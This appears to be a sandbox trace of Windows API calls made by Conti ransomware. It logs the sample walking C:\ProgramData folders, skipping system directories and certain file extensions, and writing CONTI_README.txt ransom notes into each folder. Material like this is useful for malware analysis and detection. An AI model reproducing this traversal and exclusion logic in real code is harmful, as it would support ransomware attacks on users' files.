	[0098.192] lstrcpyW (in: lpString1=0x176bb50, lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070"
	[0098.192] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\"
	[0098.192] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\CONTI_README.txt") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\CONTI_README.txt"
	[0098.192] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\CONTI_README.txt" (normalized: "c:\\programdata\\adobe\\arm\\reader_15.023.20070\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.192] GetProcessHeap () returned 0x1720000
	[0098.192] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bb50 | out: hHeap=0x1720000) returned 1
	[0098.192] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.193] CloseHandle (hObject=0x37c) returned 1
	[0098.193] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x2797fc81, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7ff0
	[0098.193] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.193] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x2797fc81, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.194] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.194] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.194] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e5ee1ac, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e5ee1ac, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.194] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.194] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.194] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.194] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.194] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e5ee1ac, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e5ee1ac, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.194] GetProcessHeap () returned 0x1720000
	[0098.194] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0d30 | out: hHeap=0x1720000) returned 1
	[0098.194] FindClose (in: hFindFile=0x17c7ff0 | out: hFindFile=0x17c7ff0) returned 1
	[0098.194] GetProcessHeap () returned 0x1720000
	[0098.194] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0bf8 | out: hHeap=0x1720000) returned 1
	[0098.194] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="S", cAlternateFileName="")) returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2=".") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="..") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="tmp") returned -1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="winnt") returned -1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="Application Data") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="AppData") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="temp") returned -1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="thumb") returned -1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="$Recycle.Bin") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="$RECYCLE.BIN") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="System Volume Information") returned -1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="Program Files") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="Program Files (x86)") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="Boot") returned 1
	[0098.194] lstrcmpiW (lpString1="S", lpString2="Windows") returned -1
	[0098.194] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM") returned 24
	[0098.194] lstrlenW (lpString="S") returned 1
	[0098.194] GetProcessHeap () returned 0x1720000
	[0098.194] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x17c7ff0
	[0098.194] lstrcpyW (in: lpString1=0x17c7ff0, lpString2="C:\\ProgramData\\Adobe\\ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0098.194] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\"
	[0098.195] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\", lpString2="S" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\S") returned="C:\\ProgramData\\Adobe\\ARM\\S"
	[0098.195] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\S") returned 26
	[0098.195] GetProcessHeap () returned 0x1720000
	[0098.195] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734900
	[0098.195] lstrcpyW (in: lpString1=0x1734900, lpString2="C:\\ProgramData\\Adobe\\ARM\\S" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\S") returned="C:\\ProgramData\\Adobe\\ARM\\S"
	[0098.195] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\S", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\S\\*") returned="C:\\ProgramData\\Adobe\\ARM\\S\\*"
	[0098.195] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\S") returned 26
	[0098.195] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.195] GetProcessHeap () returned 0x1720000
	[0098.195] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c11a8
	[0098.195] lstrcpyW (in: lpString1=0x17c11a8, lpString2="C:\\ProgramData\\Adobe\\ARM\\S" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\S") returned="C:\\ProgramData\\Adobe\\ARM\\S"
	[0098.195] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\S", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\S\\") returned="C:\\ProgramData\\Adobe\\ARM\\S\\"
	[0098.195] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\S\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\S\\CONTI_README.txt") returned="C:\\ProgramData\\Adobe\\ARM\\S\\CONTI_README.txt"
	[0098.195] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\S\\CONTI_README.txt" (normalized: "c:\\programdata\\adobe\\arm\\s\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.196] GetProcessHeap () returned 0x1720000
	[0098.196] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c11a8 | out: hHeap=0x1720000) returned 1
	[0098.196] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.197] CloseHandle (hObject=0x37c) returned 1
	[0098.197] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\S\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x4b9b7315, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80f0
	[0098.197] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.197] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x4b9b7315, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.197] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.197] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.197] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e5ee1ac, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e5ee1ac, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.197] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.197] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.197] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.197] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.197] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e5ee1ac, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e5ee1ac, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.197] GetProcessHeap () returned 0x1720000
	[0098.197] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734900 | out: hHeap=0x1720000) returned 1
	[0098.197] FindClose (in: hFindFile=0x17c80f0 | out: hFindFile=0x17c80f0) returned 1
	[0098.197] GetProcessHeap () returned 0x1720000
	[0098.197] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7ff0 | out: hHeap=0x1720000) returned 1
	[0098.197] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="S", cAlternateFileName="")) returned 0
	[0098.197] GetProcessHeap () returned 0x1720000
	[0098.197] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c85b0 | out: hHeap=0x1720000) returned 1
	[0098.197] FindClose (in: hFindFile=0x17c8370 | out: hFindFile=0x17c8370) returned 1
	[0098.198] GetProcessHeap () returned 0x1720000
	[0098.198] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8570 | out: hHeap=0x1720000) returned 1
	[0098.198] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e509281, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e509281, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.198] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.198] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.198] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.198] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.198] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e509281, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e509281, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.198] GetProcessHeap () returned 0x1720000
	[0098.198] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738c20 | out: hHeap=0x1720000) returned 1
	[0098.198] FindClose (in: hFindFile=0x17c7e70 | out: hFindFile=0x17c7e70) returned 1
	[0098.207] GetProcessHeap () returned 0x1720000
	[0098.207] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738be8 | out: hHeap=0x1720000) returned 1
	[0098.207] FindNextFileW (in: hFindFile=0x17c8130, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xb6884, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0098.208] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0098.208] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0098.208] lstrcmpiW (lpString1="Application Data", lpString2="tmp") returned -1
	[0098.208] lstrcmpiW (lpString1="Application Data", lpString2="winnt") returned -1
	[0098.208] lstrcmpiW (lpString1="Application Data", lpString2="Application Data") returned 0
	[0098.208] StrStrIW (lpFirst="Application Data", lpSrch=".CONTI") returned 0x0
	[0098.208] StrStrIW (lpFirst="Application Data", lpSrch="CONTI_README.txt") returned 0x0
	[0098.208] StrStrIW (lpFirst="Application Data", lpSrch=".exe") returned 0x0
	[0098.208] StrStrIW (lpFirst="Application Data", lpSrch=".dll") returned 0x0
	[0098.208] StrStrIW (lpFirst="Application Data", lpSrch=".lnk") returned 0x0
	[0098.208] StrStrIW (lpFirst="Application Data", lpSrch=".sys") returned 0x0
	[0098.208] StrStrIW (lpFirst="Application Data", lpSrch=".CONTI") returned 0x0
	[0098.208] StrStrIW (lpFirst="Application Data", lpSrch="CONTI_README.txt") returned 0x0
	[0098.208] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0098.208] lstrlenW (lpString="Application Data") returned 16
	[0098.208] GetProcessHeap () returned 0x1720000
	[0098.208] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x40) returned 0x17346c0
	[0098.208] lstrcpyW (in: lpString1=0x17346c0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.208] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0098.208] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="Application Data" | out: lpString1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data"
	[0098.208] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e8fc0) returned 1
	[0098.208] FindNextFileW (in: hFindFile=0x17c8130, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xb6884, cFileName="Comms", cAlternateFileName="")) returned 1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2=".") returned 1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="..") returned 1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="tmp") returned -1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="winnt") returned -1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="Application Data") returned 1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="AppData") returned 1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="temp") returned -1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="thumb") returned -1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="$Recycle.Bin") returned 1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="$RECYCLE.BIN") returned 1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="System Volume Information") returned -1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="Program Files") returned -1
	[0098.208] lstrcmpiW (lpString1="Comms", lpString2="Program Files (x86)") returned -1
	[0098.209] lstrcmpiW (lpString1="Comms", lpString2="Boot") returned 1
	[0098.209] lstrcmpiW (lpString1="Comms", lpString2="Windows") returned -1
	[0098.209] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0098.209] lstrlenW (lpString="Comms") returned 5
	[0098.209] GetProcessHeap () returned 0x1720000
	[0098.209] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2a) returned 0x1738a28
	[0098.209] lstrcpyW (in: lpString1=0x1738a28, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.209] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0098.209] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="Comms" | out: lpString1="C:\\ProgramData\\Comms") returned="C:\\ProgramData\\Comms"
	[0098.209] lstrlenW (lpString="C:\\ProgramData\\Comms") returned 20
	[0098.209] GetProcessHeap () returned 0x1720000
	[0098.209] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2e) returned 0x1738f30
	[0098.209] lstrcpyW (in: lpString1=0x1738f30, lpString2="C:\\ProgramData\\Comms" | out: lpString1="C:\\ProgramData\\Comms") returned="C:\\ProgramData\\Comms"
	[0098.209] lstrcatW (in: lpString1="C:\\ProgramData\\Comms", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Comms\\*") returned="C:\\ProgramData\\Comms\\*"
	[0098.209] lstrlenW (lpString="C:\\ProgramData\\Comms") returned 20
	[0098.209] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.209] GetProcessHeap () returned 0x1720000
	[0098.209] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bf288
	[0098.209] lstrcpyW (in: lpString1=0x17bf288, lpString2="C:\\ProgramData\\Comms" | out: lpString1="C:\\ProgramData\\Comms") returned="C:\\ProgramData\\Comms"
	[0098.209] lstrcatW (in: lpString1="C:\\ProgramData\\Comms", lpString2="\\" | out: lpString1="C:\\ProgramData\\Comms\\") returned="C:\\ProgramData\\Comms\\"
	[0098.209] lstrcatW (in: lpString1="C:\\ProgramData\\Comms\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Comms\\CONTI_README.txt") returned="C:\\ProgramData\\Comms\\CONTI_README.txt"
	[0098.209] CreateFileW (lpFileName="C:\\ProgramData\\Comms\\CONTI_README.txt" (normalized: "c:\\programdata\\comms\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0098.210] GetProcessHeap () returned 0x1720000
	[0098.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf288 | out: hHeap=0x1720000) returned 1
	[0098.210] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.211] CloseHandle (hObject=0x394) returned 1
	[0098.211] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Comms\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4e6142bc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c84f0
	[0098.211] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.211] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4e6142bc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.211] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.211] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.211] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e6142bc, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e6142bc, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e6142bc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.211] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.211] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.211] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.212] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.212] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e6142bc, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e6142bc, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e6142bc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.212] GetProcessHeap () returned 0x1720000
	[0098.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738f30 | out: hHeap=0x1720000) returned 1
	[0098.212] FindClose (in: hFindFile=0x17c84f0 | out: hFindFile=0x17c84f0) returned 1
	[0098.212] GetProcessHeap () returned 0x1720000
	[0098.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738a28 | out: hHeap=0x1720000) returned 1
